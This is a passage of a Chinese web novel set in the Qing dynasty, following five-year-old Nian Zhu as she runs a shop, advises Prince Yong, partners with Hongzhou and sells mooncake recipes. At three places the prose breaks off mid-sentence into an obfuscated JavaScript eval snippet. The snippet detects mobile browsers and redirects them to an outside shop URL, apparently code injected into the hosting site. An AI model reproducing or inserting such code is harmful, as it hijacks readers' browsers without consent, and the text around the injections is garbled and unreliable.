年珠也挥手与弘昼再见,她觉得弘昼应该能算得上她在雍亲王府的第一个朋友了。 心情大好年珠再去见年若兰时,年若兰已吃完饭正在替四爷缝衣裳。 她虽不明白这世道的女子明明身份尊贵,为何非要在这等事上没苦硬吃,这样做衣裳多伤眼睛啊,但她却发现因四爷要回来了,年若兰心情很是不错,便开口道:“姑姑,明日我能不能出门一趟?” “你可是想去看看你那小铺子?”年若兰道。 年珠点点头。 雍亲王府不比年家,规矩森严,自她过来后再没见过苏额木,也不知道如今她那间小杂货铺是什么光景。 年若兰答应了,更是叮嘱她要她多带些人。 翌日一早,年珠就直奔那间小杂货铺而去。 小小的两间杂货铺生意比她想象中好上不少,虽说没有排长队,却也是门庭若市。 年珠更是如愿见到了苏额木。 苏额木满脸含笑,道:“……这些日子京城里也有铺子学咱们卖蚝汁与鸡汁,但味道都不如咱们的好,所以铺子里的生意虽不如最开始好,但每个月进项却也不少。” 说话间,他更是恭恭敬敬递上了账本:“七格格,您看看,这是账本。” 年希尧做的账目,肯定是一点问题都没有的。 年珠对这些繁冗的数字不感兴趣,直接跳到最后,看到盈余竟有六百八十四两,吓了一大跳。 “这铺子开业不到三个月,竟赚了这么多钱?” “这些日子,到底卖出去了多少蚝汁和鸡汁?” 从前她可不会将区区六七百两银子放在眼里,但她却知道,如今的一两银子约等于四百五十元左右,那粗略一算,她不到三个月的时间岂不是赚了……三十来万?放在后世,这可是妥妥的金领啊! 苏额木也露出与有荣焉的笑容来:“是呢,您去雍亲王府的这些日子,都是福晋在管着铺子里的事儿。” “福晋说这铺子虽赚钱不多,却也是您的心血,打算多买些人回来加大生产,到时候叫各地都能买到蚝汁和鸡汁。” “还有好些人登门询问,说这都两个月过去了,为何铺子里还没有新的东西售卖呢!” 喜得第一桶金高兴的同时,年珠也感受到了压力。 她决心回去之后好好捣鼓捣鼓。 她又与苏额木讨论了下一步院子的买人事项,完了又去给年若兰买了些糖炒栗子,回去雍亲王府时已夕阳西下,她脸上还洋溢着幸福快乐的笑容。 可年珠刚踏踏进雍亲王府大门,就察到不对劲——气压低沉沉的,有种风雨将来的感觉。 年珠随便找了个小太监一问,这才恍然大悟。 “王爷晌午时候回来了,不仅骂了三阿哥,还叫人打了五阿哥的板子。” “不仅如此,就连李侧福晋都因教子无方,得了王爷好一顿训斥!” 14.第 14 章 这下,年珠还有什么不懂的? 四爷整日在圆明园蛰伏,本就一肚子气,一回王府发现儿子不叫他省心也就罢了,就连妻妾也不安生。 别人不知道,但她却是知道历史上的四爷可不像他装的那样无欲无求,这人是个细节控,怕是这些日子雍亲王府的大事小事他都知道,自然知道李侧福晋故意戳年若兰心窝子这事儿。 她想,若她是四爷,也会对李侧福晋生气的——儿子管不好,竟知道挑事! 年珠一点不意外,抬脚就朝听雪轩方向走去。 “格格。”聂乳母见她走得飞快,忙道,“您走这样快做什么?当心摔跤呢!” 年珠没有接话,脚下的步子是更快了。 她能做什么?当然是赶紧去四爷跟前认错啊!她方才可是听人说了,说是弘昼这次被狠狠揍了一顿,可见四爷心情很是不好。 果不其然,年珠行至廊下,就听到四爷的说话声:“……前两日十四弟不仅带清军攻占拉萨,所到之处更是受到西藏僧俗欢迎,十四弟还奏请皇阿玛,想要为造福藏民,修建池湖。” “十四弟如今颇得皇阿玛看重,我不求他们能帮我什么,只要不生事就好,不曾想却是一个比一个糊涂。” “弘昼也就罢了,他到底年纪尚小,但弘时却是年纪不小,整日不好好念书,满心算计钻研,我不过训斥几句,李侧福晋就处处偏袒,真是慈母多败儿!” 年珠这才发现门口竟一个守门的小太监小丫鬟都没有,想来早就被打发走了。 这下,她是进也不是,退也不是。 年珠也不是故意偷听四爷说话的,只能硬着头皮喊了声“姑姑”。 果不其然,屋内的声音是戛然而止。 年珠这才走进去,佯装惊讶喊了声“王爷”。 四爷自然不会同一个五岁的小娃娃计较,问她方才听到了些什么,直道:“……这几日你住在雍亲王府可还习惯?都还好吗?” “回王爷的话,我与姑姑在一块,得姑姑照顾,是一切都好。”年珠面上是一派稚童的天真无邪,想了想道,“王爷,我有件事要与您说,请您责罚。” 她一字不落将如今算计李侧福晋的事儿道了出来,又道:“姑姑性子好,却也不是任由旁人践踏的。” “这位李侧福晋明知姑姑伤心,却还故意往她伤口撒盐,所以我才这样做的。” 这件事,四爷自是知道的,更知道如今的李侧福晋整日忙于往万寿寺跑,已很久没闹事呢。 但明面上,他还是不咸不淡训了年珠几句。 年珠虽是左耳进右耳出,但认错态度还是很好的。 “王爷放心,我以后再也不敢了。” “您与姑姑说话吧,我就先下去了。” 她一溜烟就跑了。 年若兰看着她那宛如逃命的背影,嘴角隐隐翘起。 四爷当然不会训斥年珠,不过十来日的时间,年若兰的脸色就好看了许多。 若不是怕不合适,他甚至想要好好嘉奖年珠一番。 年珠深知抱大腿不急在这一时,雪球一抱,就去找秦嬷嬷打听打听今日之事呢。 秦嬷嬷已从对当初看年珠不顺眼,变成了如今的对年珠毕恭毕敬。 她先说起护短的李侧福晋明知三阿哥弘时不成器,却还将弘时夸成一朵花,也难怪四爷不高兴。 她继而又说起了五阿哥弘昼:“……说是今日五阿哥将王爷气的够呛,王爷临走之前交代的功课,五阿哥是一个字没写。” “不仅没写,小小年纪他还学会了与王爷顶嘴,只问王爷那样用心念书做什么,反正他也没什么大的追求,只要每日锦衣玉食就够了!” 年珠:“……” 她觉得弘昼这顿打挨的一点不冤。 她刚想着弘昼作为自己在雍亲王府结交的第一个朋友,是不是该带点好吃的过去看看弘昼,谁知道门外就传来了几声猫叫。 哪里有猫? 毕竟整个听雪轩有雪球这只霸道狗,连花圃里的花儿都不放过,若有猫,岂不是这院子更加闹腾? 年珠下意识看向窗外,没想到却看到了弘昼。 弘昼扒在窗前,顶着一双肿的像桃子似的眼睛,一看就是狠狠哭过的样子。 但他开口第一句话就是:“包子脸格格,今日能叫我尝尝你说的月饼吗?” 然后,他第二句话就是:“包子脸格格,能不能叫我也随你一起做生意?” 年珠一愣。 反应敏捷如她,一时间竟不知道先回答弘昼哪个问题。 “包子脸格格,昨日你与我说过的,你知道好几种月饼的做法,有咸蛋黄馅的,还有什么乳酪馅的……你说等着月饼做好后,给我尝尝的。”弘昼揉了揉酸涩肿胀的眼睛,声音中还带着几分嘶哑,“还有,我今儿上午来找过你,年额娘说你在外头开了间铺子,生意还不错的样子。” 说话间,他扬了扬手中沉甸甸的荷包,道:“叫我跟着你一起做生意吧,喏,你看,我有本钱!” 年珠一愣,却并没有回答他的问题,只低声道:“五阿哥,你……你怎么敢过来的?” “我听说王爷吩咐你好好待在院子里,什么时候把功课补完了什么时候才能出来。” “话是这样说没错,但是……”弘昼面上顿时浮现些许愤恨之色来,握拳道,“但是凭什么?我才不要被软禁呢!这事儿叫阿玛知道了,顶多再揍我一顿。” 说着,他更是道:“反正一顿揍也是揍,两顿揍也是揍,也没什么区别!” “王府中的孩子少,难道阿玛还能把我的屁股打开花不成?” 年珠:“……” 虽说是话糙理不糙,但这话未免也太糙了点。 她耐着性子与弘昼道:“五阿哥,月饼已经开始做了,又是准备馅料,又要准备面皮,并不像你想的那样简单。但你放心,若月饼出锅,我定第一时间派人给你送去。” “至于做生意……我不过是闹着玩的,你整日功课都没写完,你觉得王爷会允许你和我一起做生意吗?” “你赚钱做什么了?做生意可是很辛苦的,辛辛苦苦一整年,兴许还及不上皇上赏你一件宝贝。” 弘昼仍举着手中的荷包,丝毫没有收回去的意思。 “阿玛不准,我偷偷和你一起做生意不就行了?这件事你不说我不说,谁能知道?” “若说为何要做生意,我当然是想攒够了钱搬出雍亲王府,叫阿玛以后再也找不到我。” “我今年都已经八岁了,阿玛却还一言不合就吩咐人打我,打的还是屁股,我的脸难道就不是脸吗?我要是脸皮和四哥一样,只怕早就想不开千百回呢,阿玛心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192335|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有四哥,根本就没有我,他一点都不怕我想不开……” 面对着这般无情控诉,年珠心想——正因为你脸皮厚如城墙,所以四爷才这样对你了! 但她想了想,还是将荷包接了过来。 “好,五阿哥,你的钱我暂且替你收下,以后有合适的项目,咱们一起做生意,将生意做大做强。” “不过在此之前,我建议你还是先回去比较好,王爷现在可在气头上。” 她好说歹说,最后叫小厨房做了一盘炸酥饺给弘昼后,他这才喜笑颜开离开。 与她想的一样,这件事根本没能瞒过四爷的眼睛。 不,应该说是雍亲王府的大事小事都瞒不过四爷的眼睛。 四爷知晓这事时正在用饭,苏培盛不过在他耳畔低言几句,他就脸色沉沉起来。 深知不对的年珠只能埋头苦吃,想着她就说不过来与四爷他们一起吃饭呢,看吧,果然没好事。 纵然年珠低着头,也能感受到有一道灼热的目光落在自己头顶。 她只能抬头讪笑道:“看样子什么事情都瞒不过您的眼睛,您已经知道了五阿哥今日来找我这件事了吧?不仅如此,五阿哥还想和我一起做生意呢!” 死道友不死贫道,她想着这件事反正瞒不住,索性和盘托出,更道:“王爷,五阿哥这性子……瞧着像是吃软不吃硬的样子,您莫要与他一般计较。” “他还小,等着长大些兴许就能懂事了。” 年若兰也跟着相劝。 她发现这次四爷从圆明园回来后焦灼不少,竟与她诉起苦来。 不过就如今这局面,四爷心里苦的像黄连似的,实在是憋得难受。 最后,就连苏培盛也加入到苦劝队伍中,四爷脸色却也没好看多少。 年珠心里忍不住想,看样子弘昼又少不了一顿揍啊! 她当然知道四爷现在心里很急,但她想劝四爷先别急,毕竟皇位这等事,着急也没用啊! 年珠瞧见年若兰轻轻摇头的模样,想着四爷她不敢劝,自己亲姑姑她还是敢劝一劝的。 她扫了一圈,瞧见疯了一天累得不行正窝在年若兰脚边睡觉的雪球,开口就道:“姑姑,您可知道替您寻来雪球是来之不易,很是费了些功夫?” 年若兰讶然看向她,不明白她好端端的为何说这些:“雪球……怎么就来之不易了?” 年珠清清嗓子,就开始说起整件事的来龙去脉:“当初额娘原以为是我想养只狗儿,四处派人去寻摸,探听到城郊一富庶人家有一窝刚出生的小狗儿,性子活泼且不会伤人。” “额娘派出去的管事几乎是日日登门,说阿玛是朝中高官,说年家乃世代官宦之家,甚至将我夸成了一朵花似的,那家人也没答应。” “后来还是管事几乎对天发誓,说一定会对雪球好,若是真有什么不可抗因素不能养着雪球,就重新将雪球给他们送回去,那家人这才勉强答应。” 她看着年若兰那不解的目光,低声道:“姑姑,所以说想要从对方手里得到什么,不能光从自己身上下手,还得想想对方想要什么,最在意什么。” “养狗是这样,别的事情也是这样。” 别说四爷了,她都急,万一四爷装着装着与世无争,真叫皇上觉得四爷不想当皇上,把皇位传给了别人,她不也得跟着提前凉凉? 15.第 15 章 年珠从不怀疑四爷的聪明,如今夺嫡的几龙中,就没一个蠢的。 可关键的问题是当局者迷旁观者清,如今皇上的身子是一日不如一日,四爷面上装着是风轻云淡,只怕是心里一日日急的像猫爪子挠似的,哪里还能保持理智? 甚至连带着四爷身边的一干幕僚难得理智起来。 年若兰显先是一愣,然后认真思量起来,最后却是笑了起来:“你呀你,难怪王爷说你聪明,你这小脑袋瓜子……简直与你阿玛一样样的,转的快极了。” 她摸了摸年珠的小脑袋,道:“等着王爷回来后,我就将这话说给她听。” “我听王爷的意思,那位……也就只剩下几年的光景罢了。” “越是到了这个时候,所有人就越是小心谨慎,不敢行差踏错一步。” 年珠没有接话,这等话,也不是她能随便接的,但她知道,别说四爷,就连姑姑年若兰也被压得喘不过气来。 但这并没有影响到她,她回去酣甜一睡,翌日一早醒来,就从年若兰嘴里知晓了昨夜之事。 比如,弘昼小小年纪就知道哪里有压迫哪里就有反抗,面对着盛怒的四爷,哭天喊地不说,大半夜的还闹着要去跳湖,最后被脸色沉沉的四爷拦了下来。 比如,年若兰将年珠的话原封不动转告给了四爷,身心俱疲的四爷在书房坐了一夜,是若有所思。 …… 又比如,李侧福晋昨晚上“病了”,差人前去将此事告诉四爷,四爷别说过去看她,连眼皮子都没抬一下,直道:“生病了就去请大夫,实在不行,就拿对牌去请太医,找我做什么?” 因年珠昨晚那几句话,年若兰再不敢将她当成一寻常五岁小孩。 年珠摇摇头,轻轻叹了口气,莫名想到一句话来——庙小妖风大,水浅王八多。 雍亲王府里的主子比起旁的王府来,那叫一人口简单,但看似简单,却不是真的简单。 她深知自己是外人,接下来几日便将所有心思都放在了月饼一事上。 六百八十四两只是个好的开始,想要将生意做大做强,还得源源不断想出新的赚钱门道来。 年珠虽觉得开饭馆酒楼的过于辛苦,但卖卖蚝汁小食却并不算费劲,来钱快不说,更重要的是能迅速打响招牌知名度。 这时候虽有月饼,但甜口的大多是五仁馅、蜜饯果脯馅的,咸口的则多是芝麻椒盐馅,一个月饼足有几斤重,上面的花纹倒是精美好看,却吃的年珠是生无可恋。 她带到雍亲王府的两个厨娘虽是四川人,跟在她身边的时间不短,她略说了说,那两个厨娘就会过意来。 “格格,咸鸭蛋肉松月饼奴婢先前虽没听过,却也能试一试,这肉松还是按照您先前教的法子炒吗?还有您说芋头做成的泥,这掺在一起好吃吗?” “格格,还有这奶黄流心月饼,您说的做法颇为繁琐,奴婢只能先试上一试,也不知道到底能不能成功。” …… 年珠一向是个好说话的主儿,笑道:“你们只管放手去做就是,就算失败了也没什么。” 不过两日的时间,香喷喷的月饼就出锅了。 年珠率先尝了尝,这月饼不说与后世差不多,却也有七八分相似。 不仅如此,两位厨娘还按照年珠的吩咐,依葫芦画瓢,做出了冰皮月饼,玫瑰月饼和乳酪月饼,一个个月饼做成小兔子形状,摆在碟子里,憨态可掬,很是可爱,也符合年珠这般年纪。 年珠一一尝下来,是连连称好。 “这月饼做的真好,一看就是费了不少心思。” “我听乳母说,这两日你们统共睡了三四个时辰而已,真是辛苦了。” “我回去之后就与额娘说,过年时给你们一人多封半年的月钱。” 两位厨娘顿时是千恩万谢。 年珠转而又看向聂乳母,吩咐道:“将这些月饼分一分,姑姑那儿留一份,还有福晋,钮祜禄格格她们那边都送一份去。” “还有三位阿哥那边……” 说着,她这才想起这两日未见弘昼来听雪轩,便道:“四阿哥和五阿哥那儿,我亲自送去,至于三阿哥那边,就派人将东西送过去吧。” 到了傍晚,年珠估摸着两位小阿哥已放学,这才去了外院。 不看不知道,看了后,年珠这才明白为何弘昼与弘历关系要好,敢情这两位小阿哥不仅年纪相仿,还同吃同住、同进同出。 弘历院子里的小太监知晓年珠的身份后,那叫一个毕恭毕敬,直道:“奴才替四阿哥谢过小格格,四阿哥还在书房念书呢,尚未回来。” “不过五阿哥前几日得王爷吩咐,回去了自己院子,王爷只吩咐五阿哥不得出门,但寻常人还是能进去的。” 年珠道谢后,这才往隔壁院子走去。 弘昼这院子,比起弘历的院子怎么说呢,一看就是常年未住人的,院子里处处透着萧条和冷清。 她刚进去,就看到坐在院子里的石桌上抄书的弘昼。 这人看似在抄书,石桌上笔墨纸砚摆的倒是满满当当,但他时而咬笔、时而望天、时而叹气,满脸愁郁之色。 “五阿哥。”年珠轻声喊道。 弘昼一转过头来,面上的郁色顿时就变成了喜色:“呀,包子脸格格,你怎么来了?” “你是来看我的吗?真是太好啦!” 年珠扬了扬手中的食盒,笑道:“我当初答应过你,这月饼一出锅我就给你送来。这月饼尚是温热,你快来尝尝看吧。” 这下,弘昼面上的喜色又添了几分。 他咬了口月饼,脸上更是浮现出几分好吃的不真实的模样来:“这是你捣鼓出来的月饼?简直比酥饺还好吃!我,我长到这么大,还是第一次吃这么好吃的月饼呢……” 年珠听他说着话,眼神却落在了那一摞厚厚的宣纸上,虽说宣纸上的字写的连她都不如,像鸡爪子扒拉似的,但那厚厚一摞宣纸,也能看出他这几日应该也是在磨洋工的。 弘昼顺着年珠的眼神看去,嘿嘿干笑两声道:“那天夜里,阿玛又来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197418|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找我算账了,我原打算宁死不从的,可阿玛却说我若是不听话,就将我身边的几个小太监打死。” “他还说要罚我额娘一顿,唉,真是人在屋檐下不得不低头啊!” 他狼吞虎咽吃着月饼,像想起什么似的:“这月饼好,到时候拿到铺子去卖,定能赚不少钱。” “开食肆却不是你想的那样简单,我也没打算售卖月饼。”年珠在过来的路上已仔细想过,她一没人手,二没场地,更重要的是吃食最容易出事,万一真叫人吃出什么问题来,她怕是吃不了兜着走,“我打算卖月饼方子去各大酒楼与糕点铺子谈一谈,来谈分成,这样赚钱就能轻松简单许多。” 弘昼的生意梦顿时又碎了,不免有几分失望道:“那我给你的那些本钱岂不是派不上用场了?” “当然不是。”年珠笑道,“那日你给我了金银珠宝大概能换算成三千两银子左右,再加上我的私房银子和铺子的盈余,大概能有一万两银子,我打算差人去城郊买个田庄,用来种花。” 弘昼是一脸懵:“种花?种花做什么?” 他想了想,认真道:“我听我钮祜禄额娘说起过的,说是种茶赚钱,为何咱们不一起买个茶园?” 年珠解释道:“我也曾想过买个茶园,但京城附近根本就不适合种茶,若想要买茶园,最好买在江南、华南一带,但咱们想要出府一趟都不容易,如何出得了京城?” “况且如今茶叶生意被那些有头有脸的人物瓜分,我们现在进场,哪里来得及?” “至于种花用来做什么,你且等着瞧就是了,保准不会叫你亏本的。” “那就好。”弘昼悬着的一颗心这才放下来,“那三千两银子可是我从小到大的私房钱呢。” 说着,他就意识到不对,扬声道:“你今年才五岁,私房钱竟然比我还多?你们年家可真有钱啊!” 年珠只是尴尬笑了笑。 等她回去后,就听说了月饼得到了众人一致好评。 甚至就连四爷都赞不绝口,吩咐小厨房再做几盒,他给皇上送去。 年珠在四爷跟前,装的那叫一低眉顺眼,四爷也不会与一五岁小娃娃商量政事,年珠装傻,他便也没有再提。 但四爷再与年若兰说话时,便没有瞒着年珠:“……我打算过几日邀皇阿玛与几位阿哥一起去圆明园小住几日,圆明园的菊花开的很好,皇阿玛见了定会喜欢的。” “皇阿玛如今年纪大了,只盼着我们兄弟和睦友爱。” 正咬着月饼的年珠忍不住在心里点点头。 对,对,就是这样,得叫皇上看到四爷有多爱护那些兄弟,有多在意手足之情! 可还未等年若兰接话,四爷又皱眉道:“可圆明园比起畅春园来差的不是一星半点,皇阿玛时常游玩于畅春园,若此次出行没有思虑周全,好事就会变成了坏事,反而叫皇阿玛心生不快。” “此事,你可有什么主意?” 他这话虽看似是对着年若兰说的,但他那眼神却时不时落在了年珠面上。 16.第 16 章 年珠又咬了口月饼,这才慢条斯理道:“您说的是,想要叫皇上等人玩的开心,还得叫皇上等人看到您的才能的确不容易。” 好在,她早有准备,就算四爷不问,她也要说给姑姑年若兰听的:“不如将圆明园打造成农家乐?哦,农家乐,说白了就是富人的宅院打造成古代村庄的样子,有人耕地,有人种田,有人织布……各司其职之下,所打造的世外桃源。” 她说的囫囵,但四爷却听懂了——这就是大清的桃花源? 以圆明园比作村落,若村落里的人各司其职,皇上如何看不到他的治国之才?毕竟严格意义上来说,大清就是一个被无数倍放大的村落。 年珠知道四爷心里已有了农家乐雏形,又道:“寻常宴会要么是听曲,要么就是看杂耍歌舞,别说皇上,就连我这个五岁的小孩都觉得没意思。” “更何况皇上已年过六旬,什么好吃好玩的没见过?当然得别出心裁才能叫皇上刮目相看。” “到时候皇上不仅能看到王爷您的才能,还能吃好玩好,更觉得别开生面。” 这也是为何后世的农家乐会风靡的原因。 四爷颔首时,心里已有了打算。 他看向年珠,道:“你果然聪明,你可有什么想要的?若是有,只管开口。” 他深知想要有才能之人为己所用,就不能吝啬,但他想来想去,实在不知道年珠缺什么。 身为年家所有长辈的掌上明珠,年珠的确是没什么缺的,她直道:“王爷,能不能叫五阿哥与我一起做生意?” 四爷一愣,他怎么不知道年珠与弘昼这不成器的臭小子关系这样好了? 年珠又道:“王爷,虽说‘三更灯火五更鸡,正是男儿读书时’①,但想必您也看出来了,五阿哥是真的不喜欢念书,男儿志在四方,如今他对做生意感兴趣,您为何不叫他试一试?” 四爷微微皱眉,正当年珠以为他会拒绝时,不曾想他却答应下来。 “好,那就叫弘昼试试吧。” “只是读书叫人知礼,弘昼身为皇孙,总不能两眼一抹黑字都认不全,以后他每日得花上半日时间念书。” 年珠笑道:“那我替五阿哥谢谢您。” 很快,她便匆匆去了正院,将这好消息告诉了正在埋头抄文章的弘昼。 弘昼听说后,高兴的是一蹦三尺高,连砚台都打翻了。 “包子脸格格,你可真厉害,竟然连我阿玛都说服了。” “你是不知道,我阿玛是个很执拗的人,但凡是他决定的事儿,谁都说服不了。” 说着,他似想起了什么似的,面上浮现几分不快来:“难道是阿玛将我的话当真了?真的不打算管我了吧……” 他嘴上嚷嚷着不想当四爷的儿子是一回事,但知道自己被四爷放弃,心里还是怪难受的。 “五阿哥,你别多想,王爷怎么会不管您?您可是雍亲王府三根独苗苗中的一棵啊!”年珠不得不承认,四爷虽看着严肃,当爹当的倒还不错,“想必王爷是知道因材施教的道理,凡事不可勉强为之,你既然不愿读书,叫你试试别的就是了。” “虽说士农工商,从古至今商人的身份都低贱,但银子却是谁都喜欢的。” “没错。”弘昼重重点了点头,低声道,“我可听说了,我九叔做生意可厉害了,他先是支持我八叔,如今又支持我十四叔,只怕把我阿玛气的够呛。” 他拍拍年珠的肩膀,老气横秋道,“你放心,我们两个强强联手,定是所向披靡,赚它个金山银山的。” 年珠连连笑着称是。 她没好意思说,她之所以选择不着调的弘昼当她的合伙人,一来是弘昼身份过硬,二来则是弘昼实在是不着调。 有弘昼在,谁要是想来闹事,弘昼保准第一个不答应! 她喜滋滋的想——选好合伙人,可是迈向她成功商业帝国重要的第一步啊! 翌日一早,年珠就邀请弘昼一起出门售卖她的月饼方子了。 但带上弘昼,却也有麻烦的地方。 比如,四爷一大早去了圆明园,他们还得去正院与福晋乌拉那拉氏说上一声。 当乌拉那拉氏听说两个小娃娃要出去做生意时,只以为自己听岔了:“……你们两个要出门做生意?你们两个凑在一起能做什么生意?” “额娘。”弘昼大概猜到她又要说什么,无非是劝自己多向四哥弘历学习,忙道,“这件事是阿玛答应过的,允许我和包子脸格格一起做生意的。” 说着,他骄傲挺起了胸脯,道:“阿玛时常教我们,既下定决心做一件事就要做好才行,做生意也是一样的。” “既然要好好做生意,当然要出去多巡查巡查铺子。” 乌拉那拉氏:“……” 她不免觉得四爷近来是急昏了头,所以这才纵容着弘昼胡闹。 不过四爷都答应了,她这个嫡母也不会再说什么:“既然王爷都已经答应了,那你们就去吧。” “路上得小心点,多带几个人出门才是。” 等着他们出门时,已是时候不早。 弘昼一扫在旁人跟前跋扈嚣张的模样,看向年珠的眼神就像看财神爷似的:“包子脸格格,那我们现在去做什么?” 年珠道:“不急。” 她又看向弘昼道:“京城最大的酒楼在哪里?咱们先去饱餐一顿!” 若说起读书写字,弘昼是五窍只通了四窍,可若说起吃喝玩乐,他则是头头是道:“若说京城最大最好的酒楼,当然是致美斋,他们的烤鸭又酥又脆又好吃,还有芙蓉蛋,明明是极家常的一道菜,却是又鲜又嫩……” 年珠笑道:“好,那咱们今儿就去致美斋大吃一顿。” “太好了,我虽从前也吃过致美斋的席面,但再好吃的东西若不刚出锅的时候趁热吃,味道都是差上不少的。”弘昼面上的笑是挡都挡不住,可很快他就意识到不对劲来,“等等,今日咱们吃饭走的是公账还是私账?” 年珠不由想到历史上的弘昼为了收礼钱多次办丧事,豪气万丈道:“我走自己的私账行了吧?你待会儿就敞开肚子吃好了。” 说着,她更是颇为无奈道:“五阿哥,你好歹也是一堂堂皇孙,怎么能小气成这样子?” 弘昼嘿嘿干笑两声道:“这也不能怪我,实在是致美斋的吃食太贵了点!” 年珠只当是弘昼抠门,甚至她到了致美斋门口时还是这般想的,但她刚到雅间,接过店小二递上来的菜单,就忍不住倒吸了一口冷气。 一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209442|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的弘昼低声道:“你看,我没说错吧?致美斋是真的很贵!” “这也太贵了点!”年珠将这张菜单翻来覆去看了遍,发现最便宜的开水白菜也要六两银子一道,搁在后世,那可是近三千块钱一道的白菜啊,“我原以为自己也算得上一个小富婆,没想到也有吃不起饭的一日。” “区区一道烤鸭,竟然要十八两银子?这烤鸭是金子做的不成?” 虽说她嫌致美斋的菜价过于昂贵,但她今日是抱着做生意的目的而来,自然不能露怯,一口气连点几道招牌菜。 算学不好的她已在心里盘算着,今日少说要花一百两银子出去,在心里安慰自己起来:“没事的,没事的,只要菜的味道好,多花点钱又有什么关系?舍得舍得,有舍才有得!” 很快,一道道菜就端了上来。 年珠率先尝了一口弘昼极为推崇的烤鸭。 这烤鸭是三分瘦七分肥,烤的是色泽鲜亮,看起来是不错的。 可她刚尝了口,就皱眉起来:“这烤鸭味道虽不错,可表皮却是咸了点,里头也没怎么入味,这只烤鸭若卖三四两银子,我勉强能够接受,但一只烤鸭竟卖十八两银,他们怎么不去抢?” 她接连又尝了尝剩下几道菜,心里仍是同样的想法——这些菜虽算得上美味,却是配不上他们的价格。 就连弘昼都忍不住道:“真是奇了怪了,上次我吃致美斋的席面,还觉得很好吃。” “怎么今日一吃,觉得这些吃食反倒平常起来?” 一旁的小太监提醒他道:“五阿哥,您的这张嘴啊……这几日已经被养叼了。” 年珠略用了几口,就放下了筷子,将店小二找来。 “我想要见你们掌柜一面,想要与他谈一门生意。” 这店小二却是面露难色:“您这不是为难小的吗?掌柜的事情多,是不见客的!” “你可知道我们是谁?”弘昼可受不了这等窝囊气,忍不住想要自爆身份。 年珠却是朝他使了个眼色,示意他莫要多言:“这致美斋生意好的出奇,你虽只是店小二,整日却见惯了达官显贵,想必也知道我们非寻常百姓。” “致美斋打开门是做生意,自巴不得生意越来越好。” “我敢与你保证,我这生意……定能叫你们致美斋生意更上一层楼,绝不会叫你们掌柜的失望的。” 那店小二想了想,还是跑了一趟。 可不出一炷香的时间,他又重新折了回来。 “两位小主子见谅,我们掌柜的还是不肯见。” “我们掌柜的还说……致美斋生意之所以如此好,可不仅仅靠的是味道……” 弘昼长这么大,还没见过比自己还猖狂的人:“你们掌柜的有银子都不想赚?是头蠢猪不成?” “走吧!”年珠却站起身,道,“我们走吧!” 弘昼见她抬脚就走,忙追了上去,更道:“包子脸格格,你怎么就走了?你怎么遇到点挫折就放弃了?你这样子的性子,哪里能做成大生意?” “走,咱们回去,只要咱们能见到那掌柜的,只要那掌柜的肯尝一尝月饼,不愁他不肯与我们做生意!” “他要是不答应,我,我……就撒泼打滚,一直到他答应为止!” 17.第 17 章 年珠扯了扯嘴角,叫住了弘昼:“五阿哥,你不必去了,别说你撒泼打滚,就算你寻死觅活,那掌柜的也不会答应的。” 迎着弘昼那不解的目光,她解释道:“方才那店小二虽和和气气,但致美斋掌柜的却眼高于顶,咱们身边跟着小太监,那人精似的掌柜不会猜不到我们的身份,却还选择了拒绝?你猜是为什么?” “难道……这致美斋背后主子的身份比咱们还厉害?”弘昼面上一惊,道,“在京城之中,比咱们身份还尊贵,且又擅长做生意的,就只有九叔。” 九阿哥胤禟,又被世人称为“大清财神爷”,是十四阿哥一党的钱袋子。 年珠已登上马车,沉吟道:“既然如此,就算致美斋愿意出高价买我的月饼方子,我也是不卖的。” “毕竟我只出了张方子,并未出钱出力出人工,月饼的盈利只能赚小头而已,大头还是致美斋赚去。” “如今我既知道致美斋背后的主子是九贝子,自然不会将这赚钱的大好机会让给他。” 没钱寸步难行,若她真的与致美斋合作,以后这些日子就是成为对付四爷的利器。 弘昼颇为赞许点点头:“你说的很有道理。” “致美斋如今虽为京城第一酒楼,但这名头十有八九是吹出来的,达官显贵前去捧场、一掷千金更是各有心思。”年珠微微皱眉,道,“既然如此,咱们就更不能叫他们如愿。” 她看向弘昼,道:“在致美斋之前,京城还有没有出名的酒楼?” 弘昼仔细一想,这才想起便宜坊。 便宜坊在明朝时就已存在,以焖炉烤鸭闻名于京城,它之所以叫便宜坊,是因其菜价物美价廉,得不少百姓喜欢。 但这便宜坊,弘昼也只是听说而已:“每每到了逢年过节时,那些乳母小太监都喜欢从便宜坊叫一桌席面回来吃,说是便宜坊生意极好,说是席面还得提前几天预定呢。” 年珠便直接吩咐车夫驾车去便宜坊。 方才她觉得致美斋的生意已经够好了,不曾想到了便宜坊门口一看,却是小巫见大巫。 